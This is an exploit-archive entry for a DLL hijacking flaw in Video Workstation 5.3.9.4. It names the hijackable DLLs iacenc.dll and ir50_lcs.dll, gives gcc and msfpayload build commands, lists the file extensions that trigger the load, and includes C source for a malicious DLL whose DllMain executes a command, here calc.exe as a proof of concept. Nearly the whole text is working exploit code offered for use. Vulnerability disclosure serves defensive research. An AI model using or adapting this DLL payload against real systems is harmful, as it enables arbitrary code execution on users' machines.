Video Workstation Version 5.3.9.4 dll hijacking (iacenc.dll, ir50_lcs.dll)

=======================================================================
Video Workstation Version 5.3.9.4 dll hijacking iacenc.dll,ir50_lcs.dll
=======================================================================

/*
Video Workstation Version 5.3.9.4 dll hijacking iacenc.dll,ir50_lcs.dll
Author Abhishek Lyall [email protected], [email protected]
Publisher e-soft.co.uk
Vuln DLL => iacenc.dll, ir50_lcs.dll
Web => http://aslitsecurity.com
blog => http://aslitsecurity.blogspot.com
Extebtions avi,mpg,mpeg,vcd,wmp,mov,mp4,asf,3gp,rm
gcc -shared -o iacenc.dll test.c
or
msfpayload windows/exec CMD=calc.exe D > iacenc.dll
Tested on XP SP2
To load right click on file name of any above ext. And select openwith=>browse=>VideoWorkstation.exe
*/

#include <windows.h>

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  hax();
  return 0;
}



#  0day.today [2018-04-11]  #